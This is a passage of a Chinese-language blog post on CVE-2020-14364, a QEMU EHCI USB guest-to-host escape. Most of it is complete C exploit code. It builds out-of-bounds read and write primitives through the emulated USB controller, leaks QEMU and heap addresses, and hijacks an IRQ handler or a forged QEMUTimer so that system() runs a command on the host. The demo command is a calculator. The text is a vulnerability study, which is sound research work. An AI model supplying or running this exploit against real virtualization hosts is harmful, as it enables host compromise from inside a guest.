uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;

/* endpoint capabilities */
uint32_t epcap;

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;

uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;

uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqtd;


uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;

gfn = pme & PFN_PFN;
close(fd);
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void mmio_write(uint64_t addr, uint32_t value){
*(uint32_t *)(mmio + addr) = value;
}

uint32_t mmio_read(uint64_t addr){
return *(uint32_t *)(mmio + addr);
}

void set_length(uint16_t len, uint8_t option){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
sleep(1);

qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = gva_to_gpa(qtd);
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = gva_to_gpa(setup_buf);

setup_buf[0] = option;
// setup_buf[2] = value & 0xff;
// setup_buf[3] = (value >> 8 ) & 0xff;
// setup_buf[4] = index & 0xff;
// setup_buf[5] = (index >> 8 ) & 0xff;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;

mmio_write(0x2c, 0);
mmio_write(0x34, gva_to_gpa(buf));
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE);
sleep(1);
}

void read_from_usb(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
sleep(1);

qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = gva_to_gpa(qtd);
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = gva_to_gpa(data_buf);
qtd->bufptr[1] = gva_to_gpa(data_buf_oob);

mmio_write(0x2c, 0);
mmio_write(0x34, gva_to_gpa(buf));
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE);
sleep(1);
}

void write_to_usb(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
sleep(1);

qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = gva_to_gpa(qtd);
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = gva_to_gpa(data_buf);
qtd->bufptr[1] = gva_to_gpa(data_buf_oob);

mmio_write(0x2c, 0);
mmio_write(0x34, gva_to_gpa(buf));
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE);
sleep(1);
}

void arb_read(uint32_t offset, uint32_t size){
set_length(0x100, USB_DIR_IN);
memset(data_buf, 0, 0x1000);
memset(data_buf_oob, 0, 0x1000);
set_length(0x1010, USB_DIR_OUT);
*(uint32_t*)(data_buf_oob + 4) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 8) = 0x1018; //s->setup_len
*(uint32_t*)(data_buf_oob + 0xc) = ((size_t)1 << 32) - 8 - 0x1010; //s->setup_index
write_to_usb();

*(uint32_t*)(data_buf) = USB_DIR_IN;
*(uint32_t*)(data_buf_oob + 0xc) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 0x10) = offset + size; //s->setup_len
*(uint32_t*)(data_buf_oob + 0x14) = offset - 0x1020; //s->setup_index
write_to_usb();
read_from_usb();
}

void arb_write(uint32_t offset, void *payload, uint32_t payload_size){
set_length(0x100, USB_DIR_IN);
memset(data_buf, 0, 0x1000);
memset(data_buf_oob, 0, 0x1000);
set_length(0x1010, USB_DIR_OUT);
*(uint32_t*)(data_buf_oob + 4) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 8) = 0x1018; //s->setup_len
*(uint32_t*)(data_buf_oob + 0xc) = ((size_t)1 << 32) - 8 - 0x1010; //s->setup_index
write_to_usb();

*(uint32_t*)(data_buf) = USB_DIR_OUT;
*(uint32_t*)(data_buf_oob + 0xc) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 0x10) = offset + payload_size; //s->setup_len
*(uint32_t*)(data_buf_oob + 0x14) = offset - 0x1020; //s->setup_index
write_to_usb();
memcpy(data_buf, payload, payload_size);
//getchar();
write_to_usb();
}

char cmd[0x40] = "gnome-calculator";

int main(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
buf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
mlock(buf, 0x3000);

entry = buf + 4;
qh = buf + 0x100;
qtd = buf + 0x200;
setup_buf = buf + 0x300;
payload_buf = buf + 0x400;
data_buf = buf + 0x1000;
data_buf_oob = buf + 0x2000;

*entry = gva_to_gpa(qh) + 2;

// set_length(0x100, USB_DIR_IN);
arb_read(0x2004, 0x40);
size_t elf_addr = *(uint64_t*)(data_buf + 0x18);
size_t elf_base_addr = elf_addr - 0x538467;
size_t system_plt = elf_base_addr + 0x2c4940;
printf("[*] leak_elf_base_addr_is %#lx\n", elf_base_addr);

size_t heap_addr = *(uint64_t*)(data_buf);
size_t usb_device_addr = heap_addr - 0x2050;
size_t ehci_state_addr = usb_device_addr - 0x83260;
size_t usb_data_buf = usb_device_addr + 0xdc;
printf("[*] leak_usb_device_addr_is %#lx\n", usb_device_addr);

size_t irq_addr = usb_device_addr - 0x7c0;

*payload_buf = system_plt;
*(payload_buf + 1) = usb_data_buf;
arb_write((uint32_t)(irq_addr + 0x28 - usb_data_buf), payload_buf, 0x10);

set_length(0x40, USB_DIR_OUT);
memcpy(data_buf, cmd, 0x40);
write_to_usb();

mmio_write(0x24, 0);

}

修改time_list

另一种就是参考CVE-2019-6778的做法,不依赖任何设备的函数,直接伪造QEMUTimerList和QEMUTimer,修改qemu的全局变量main_loop_tlg的值为伪造的QEMUTimerList的地址,等待QEMUTimer中的cb(opaque)去自动执行。

不过真的有必要去伪造一个QEMUTimerList吗?在timerlist_run_timers函数中,ts = timer_list->active_timers,最后再去调用ts这个QEMUTimer中的cb(opaque),那么直接修改timer_list->active_timers为一个伪造的QEMUTimer地址依然可以达到目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
while ((ts = timer_list->active_timers)) {
if (!timer_expired_ns(ts, current_time)) {
/* No expired timers left. The checkpoint can be skipped
* if no timers fired or they were all external.
*/
break;
}
if (need_replay_checkpoint
&& !(ts->attributes & QEMU_TIMER_ATTR_EXTERNAL)) {
/* once we got here, checkpoint clock only once */
need_replay_checkpoint = false;
qemu_mutex_unlock(&timer_list->active_timers_lock);
if (!replay_checkpoint(CHECKPOINT_CLOCK_VIRTUAL)) {
goto out;
}
qemu_mutex_lock(&timer_list->active_timers_lock);
/* The lock was released; start over again in case the list was
* modified.
*/
continue;
}

/* remove timer from the list before calling the callback */
timer_list->active_timers = ts->next;
ts->next = NULL;
ts->expire_time = -1;
cb = ts->cb;
opaque = ts->opaque;

/* run the callback (the timer list can be modified) */
qemu_mutex_unlock(&timer_list->active_timers_lock);
cb(opaque);
qemu_mutex_lock(&timer_list->active_timers_lock);

progress = true;
}

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <unistd.h>
#include <stdbool.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

void *mmio;
int fd;
void *buf;
uint8_t *setup_buf;
size_t *payload_buf;
void *data_buf;
void *data_buf_oob;
uint32_t *entry;

struct EHCIqh * qh;
struct EHCIqtd * qtd;

#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define SETUP_STATE_DATA 2
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8


typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;

/* endpoint capabilities */
uint32_t epcap;

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;

uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;

uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqtd;


uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;

gfn = pme & PFN_PFN;
close(fd);
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void mmio_write(uint64_t addr, uint32_t value){
*(uint32_t *)(mmio + addr) = value;
}

uint32_t mmio_read(uint64_t addr){
return *(uint32_t *)(mmio + addr);
}

void set_length(uint16_t len, uint8_t option){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
sleep(1);

qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = gva_to_gpa(qtd);
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = gva_to_gpa(setup_buf);

setup_buf[0] = option;
// setup_buf[2] = value & 0xff;
// setup_buf[3] = (value >> 8 ) & 0xff;
// setup_buf[4] = index & 0xff;
// setup_buf[5] = (index >> 8 ) & 0xff;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;

mmio_write(0x2c, 0);
mmio_write(0x34, gva_to_gpa(buf));
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE);
sleep(1);
}

void read_from_usb(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
sleep(1);

qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = gva_to_gpa(qtd);
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = gva_to_gpa(data_buf);
qtd->bufptr[1] = gva_to_gpa(data_buf_oob);

mmio_write(0x2c, 0);
mmio_write(0x34, gva_to_gpa(buf));
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE);
sleep(1);
}

void write_to_usb(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
sleep(1);

qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = gva_to_gpa(qtd);
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = gva_to_gpa(data_buf);
qtd->bufptr[1] = gva_to_gpa(data_buf_oob);

mmio_write(0x2c, 0);
mmio_write(0x34, gva_to_gpa(buf));
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE);
sleep(1);
}

void arb_read(uint32_t offset, uint32_t size){
set_length(0x100, USB_DIR_IN);
memset(data_buf, 0, 0x1000);
memset(data_buf_oob, 0, 0x1000);
set_length(0x1010, USB_DIR_OUT);
*(uint32_t*)(data_buf_oob + 4) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 8) = 0x1018; //s->setup_len
*(uint32_t*)(data_buf_oob + 0xc) = ((size_t)1 << 32) - 8 - 0x1010; //s->setup_index
write_to_usb();

*(uint32_t*)(data_buf) = USB_DIR_IN;
*(uint32_t*)(data_buf_oob + 0xc) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 0x10) = offset + size; //s->setup_len
*(uint32_t*)(data_buf_oob + 0x14) = offset - 0x1020; //s->setup_index
write_to_usb();
read_from_usb();
}

void arb_write(uint32_t offset, void *payload, uint32_t payload_size){
set_length(0x100, USB_DIR_IN);
memset(data_buf, 0, 0x1000);
memset(data_buf_oob, 0, 0x1000);
set_length(0x1010, USB_DIR_OUT);
*(uint32_t*)(data_buf_oob + 4) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 8) = 0x1018; //s->setup_len
*(uint32_t*)(data_buf_oob + 0xc) = ((size_t)1 << 32) - 8 - 0x1010; //s->setup_index
write_to_usb();

*(uint32_t*)(data_buf) = USB_DIR_OUT;
*(uint32_t*)(data_buf_oob + 0xc) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 0x10) = offset + payload_size; //s->setup_len
*(uint32_t*)(data_buf_oob + 0x14) = offset - 0x1020; //s->setup_index
write_to_usb();
memcpy(data_buf, payload, payload_size);
//getchar();
write_to_usb();
}

char cmd[0x40] = "gnome-calculator";

int main(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
buf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
mlock(buf, 0x3000);

entry = buf + 4;
qh = buf + 0x100;
qtd = buf + 0x200;
setup_buf = buf + 0x300;
payload_buf = buf + 0x400;
data_buf = buf + 0x1000;
data_buf_oob = buf + 0x2000;

*entry = gva_to_gpa(qh) + 2;

// set_length(0x100, USB_DIR_IN);
arb_read(0x2004, 0x40);
size_t elf_addr = *(uint64_t*)(data_buf + 0x18);
size_t elf_base_addr = elf_addr - 0x538467;
size_t system_plt = elf_base_addr + 0x2c4940;
printf("[*] leak_elf_base_addr_is %#lx\n", elf_base_addr);

size_t heap_addr = *(uint64_t*)(data_buf);
size_t usb_device_addr = heap_addr - 0x2050;
size_t ehci_state_addr = usb_device_addr - 0x83260;
size_t usb_data_buf = usb_device_addr + 0xdc;
printf("[*] leak_usb_device_addr_is %#lx\n", usb_device_addr);

size_t time_list = usb_device_addr - 0xba9b50;

size_t fake_timer[8];
size_t fake_timer_addr = usb_data_buf + 4;
size_t cmd_addr = fake_timer_addr + 0x40;
int i = 0;
fake_timer[i++] = 0xffffffffffffffff;
fake_timer[i++] = time_list;
fake_timer[i++] = system_plt;
fake_timer[i++] = cmd_addr;
fake_timer[i++] = 0;
fake_timer[i++] = 0;
fake_timer[i++] = 0;
fake_timer[i++] = 0;

memcpy(payload_buf, fake_timer, 0x40);
memcpy(payload_buf + 8, cmd, 0x40);
*(payload_buf + 0x10) = fake_timer_addr;

uint32_t offset = (uint32_t)(time_list + 0x40 - usb_data_buf);
set_length(0x100, USB_DIR_IN);
memset(data_buf, 0, 0x1000);
memset(data_buf_oob, 0, 0x1000);
set_length(0x1010, USB_DIR_OUT);
*(uint32_t*)(data_buf_oob + 4) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 8) = 0x1018; //s->setup_len
*(uint32_t*)(data_buf_oob + 0xc) = ((size_t)1 << 32) - 8 - 0x1010; //s->setup_index
write_to_usb();

memcpy(data_buf + 0xc, payload_buf, 0x80);
*(uint32_t*)(data_buf) = USB_DIR_OUT;
*(uint32_t*)(data_buf_oob + 0xc) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 0x10) = offset + 8; //s->setup_len
*(uint32_t*)(data_buf_oob + 0x14) = offset - 0x1020; //s->setup_index
write_to_usb();
memcpy(data_buf, payload_buf + 0x10, 8);
write_to_usb();
}

执行效果如下:


CVE-2020-14364
https://xtxtn.github.io/2023/10/11/CVE-2020-14364/
作者
xtxtn
发布于
2023年10月11日
更新于
2024年1月19日
许可协议